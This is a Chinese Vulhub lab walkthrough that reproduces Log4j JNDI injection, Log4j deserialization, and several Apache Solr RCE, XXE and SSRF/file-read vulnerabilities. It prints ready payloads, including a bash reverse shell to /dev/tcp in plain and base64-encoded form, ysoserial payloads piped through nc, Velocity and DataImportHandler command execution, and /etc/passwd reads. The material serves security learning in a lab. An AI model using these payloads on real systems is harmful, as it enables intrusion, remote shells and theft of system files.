Vulhub——Log4j、solr

文章目录

  • 一、Log4j
    • [1.1 Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)](#1.1 Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228))
    • [1.2 Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)](#1.2 Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645))
  • 二、Solr
    • [2.1 Apache Solr 远程命令执行漏洞(CVE-2017-12629)](#2.1 Apache Solr 远程命令执行漏洞(CVE-2017-12629))
    • [2.2 Apache solr XML 实体注入漏洞(CVE-2017-12629)](#2.2 Apache solr XML 实体注入漏洞(CVE-2017-12629))
    • [2.3 Apache Solr 远程命令执行漏洞(CVE-2019-0193)](#2.3 Apache Solr 远程命令执行漏洞(CVE-2019-0193))
    • [2.4 Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)](#2.4 Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558))
    • [Apache Solr RemoteStreaming 文件读取与SSRF漏洞](#Apache Solr RemoteStreaming 文件读取与SSRF漏洞)

一、Log4j

1.1 Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

Apache Log4j2是Java语言的日志处理套件 ,使用极为广泛。在其2.0到2.14.1版本 中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。

Apache Log4j2不是一个特定的Web服务,而仅仅是一个第三方库,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。使用dokcer启动一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1

判断是否存在漏洞

发送数据包:

php 复制代码
GET /solr/admin/cores?action=${jndi:ldap://4paxg6.dnslog.cn} HTTP/1.1
Host: 192.168.92.6:8983
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close


获取反弹shell

bash 复制代码
bash -i >& /dev/tcp/192.168.92.6/4444 0>&1 # 反弹shell命令
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkyLjYvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i} # 防止管道符失效
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkyLjYvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" -A "10.111.X.X" # -A表示远程服务器的地址
  • JDNI注入的原理:被害主机远程请求搭建了LDAP、rmi服务的远程主机,为了远程加载类。一旦被害主机请求,就会在自己系统上执行反弹shell的命令。
  • 10.111.X.X:本机IP;
  • 192.168.92.6:kali IP。

所有链接均可实现JDNI注入,获取shell。

访问http://192.168.92.6:8983/solr/admin/cores?action=${jndi:rmi://10.111.11.119:1099/mrkfu0}

1.2 Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)

Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。

使用ysoserial生成payload,然后直接发送给192.168.92.6:4712端口即可。

bash 复制代码
java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/testsuccess" | nc 192.168.92.6 4712
docker exec -it <container-id> /bin/bash # 进入shell


反弹shell

bash 复制代码
java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkyLjYvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | nc 192.168.92.6 4712


二、Solr

2.1 Apache Solr 远程命令执行漏洞(CVE-2017-12629)

Solr是基于 Lucene 的面向企业搜索的 web 应用 ,Solr 是一个独立的企业级搜索应用服务器。Solr对外提供类似于 Web-service 的 API 接 口 。用户可以通过 http 请求,向搜索引擎服务器提交一定格式的 XML 文件,生成索引;也 可以通过 Http Get 操作提出查找请求,并得到 xml/json 格式的返回结果。

注意:Solr来提供的http服务,Lucene不提供,他是一个应用程序接口。

影响版本:7.1.0之前版本

bash 复制代码
docker-compose up -d
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
# solr的 example/example-DIH :可以作为solr的主目录,里面包含多个索引库,以及hsqldb的数据,里面有连接数据库的配置示例,以及邮件、rss的配置示例。

访问192.168.92.6:8983,可以看到solr的管理页面。

首先需要创建一个core,直接在web上创建会报错

  1. /opt/solr/server/solr新建test目录;
  2. /opt/solr/server/solr/configsets/sample_techproducts_configs下的conf文件夹复制到test目录下。

创建一个listener,其中设置exe的值为我们想执行的命令,args的值是命令参数:

bash 复制代码
POST /solr/test/config HTTP/1.1
Host: 192.168.92.6:8983
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 149

{"add-listener":{"event":"postCommit","name":"n1","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/success"]}}

然后进行update操作,触发刚才添加的listener:

bash 复制代码
POST /solr/test/update HTTP/1.1
Host: 192.168.92.6:8983
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 13

[{"id":"n1"}]


2.2 Apache solr XML 实体注入漏洞(CVE-2017-12629)

构造XXE poc:

bash 复制代码
<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">

    <!ENTITY % expr 'aaa)>
        <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
        <!ELEMENT aa (bb'>

    %local_dtd;
]>
<message>any text</message>

编码后发送:

bash 复制代码
GET /solr/demo/select?wt=xml&defType=xmlparser&q=%3C%3Fxml%20version%3D%221%2E0%22%20%3F%3E%0A%3C%21DOCTYPE%20message%20%5B%0A%20%20%20%20%3C%21ENTITY%20%25%20local%5Fdtd%20SYSTEM%20%22file%3A%2F%2F%2Fusr%2Fshare%2Fxml%2Ffontconfig%2Ffonts%2Edtd%22%3E%0A%0A%20%20%20%20%3C%21ENTITY%20%25%20expr%20%27aaa%29%3E%0A%20%20%20%20%20%20%20%20%3C%21ENTITY%20%26%23x25%3B%20file%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%0A%20%20%20%20%20%20%20%20%3C%21ENTITY%20%26%23x25%3B%20eval%20%22%3C%21ENTITY%20%26%23x26%3B%23x25%3B%20error%20SYSTEM%20%26%23x27%3Bfile%3A%2F%2F%2Fnonexistent%2F%26%23x25%3Bfile%3B%26%23x27%3B%3E%22%3E%0A%20%20%20%20%20%20%20%20%26%23x25%3Beval%3B%0A%20%20%20%20%20%20%20%20%26%23x25%3Berror%3B%0A%20%20%20%20%20%20%20%20%3C%21ELEMENT%20aa%20%28bb%27%3E%0A%0A%20%20%20%20%25local%5Fdtd%3B%0A%5D%3E%0A%3Cmessage%3Eany%20text%3C%2Fmessage%3E HTTP/1.1
Host: localhost.lan:8983
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
Connection: close
Cache-Control: max-age=0

注意需要知道core。

2.3 Apache Solr 远程命令执行漏洞(CVE-2019-0193)

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。

bash 复制代码
docker-compose up -d
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
# solr的 example/example-DIH :可以作为solr的主目录,里面包含多个索引库,以及hsqldb的数据,里面有连接数据库的配置示例,以及邮件、rss的配置示例。

访问192.168.92.6:8983

首先在页面左侧选择test核心,打开Dataimport面板,开启右侧Debug mode,填入以下POC:

bash 复制代码
<dataConfig>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success");
          }
  ]]></script>
  <document>
    <entity name="sample"
            fileName=".*"
            baseDir="/"
            processor="FileListEntityProcessor"
            recursive="false"
            transformer="script:poc" />
  </document>
</dataConfig>

点击Execute with this Confuguratio

bash 复制代码
docker ps 
docker exec -it <container-id> /bin/bash

2.4 Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)

Apache Solr 是一个开源的搜索服务器。在其 5.0.0 到 8.3.1版本中,用户可以注入自定义模板,通过Velocity模板语言执行任意命令。

同样需要先创建core,这次是在将/opt/solr/server/solr/configsets/sample_techproducts_configs下的conf文件夹复制到/var/solr/data/test1目录下,先在/var/solr/data下创建test1文件夹。

通过如下API获取所有的core:

bash 复制代码
http://192.168.92.6:8983/solr/admin/cores?indexInfo=false&wt=json

说明我们创建的core有效。

通过如下请求开启params.resource.loader.enabled,其中API路径包含刚才获取的core名称:

bash 复制代码
POST /solr/test1/config HTTP/1.1
Host: 192.168.92.6:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=1
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

注入Velocity模板即可执行任意命令:

bash 复制代码
http://192.168.92.6:8983/solr/test1/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

Apache Solr RemoteStreaming 文件读取与SSRF漏洞

Apache Solr 是一个开源的搜索服务器。在Apache Solr未开启认证的情况下,攻击者可直接构造特定请求开启特定配置,并最终造成SSRF或任意文件读取。

docker安装成功后,需要新建core。


访问http://192.168.92.6:8983/solr/admin/cores?indexInfo=false&wt=json判断是否存在该漏洞。

发送数据包:

php 复制代码
POST /solr/test/config HTTP/1.1
Host: 192.168.92.6:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Content-Length: 82

{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}
}

访问http://192.168.92.6:8983/solr/test/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd

相关推荐
smilehjl20 小时前
Log4j日志框架讲解(全面,详细)
java·log4j
Easonmax1 天前
【C++】 解决 C++ 语言报错:Use of Uninitialized Variable
开发语言·c++·log4j
虫小宝2 天前
在Java项目中集成单元测试与覆盖率工具
java·单元测试·log4j
程序员曦曦2 天前
unittest自动化测试框架讲解以及实战
自动化测试·软件测试·功能测试·程序人生·职场和发展·log4j
好奇的菜鸟3 天前
如何在 Logback 和 Log4j 中获取日志:一个开发者指南
单元测试·log4j·logback
好奇的菜鸟3 天前
深入理解SLF4J与Logback以及Log4j的关系
单元测试·log4j·logback
不要飞升5 天前
百日筑基第九天-单元测试Junit、Log4j 、Log4j 2
junit·单元测试·log4j·实习
难以触及的高度5 天前
IDEA中配置log4j日志
log4j
王会举6 天前
Java实现日志全链路追踪.精确到一次请求的全部流程
java·log4j
池塘边的菜园子9 天前
【无标题】
java·servlet·log4j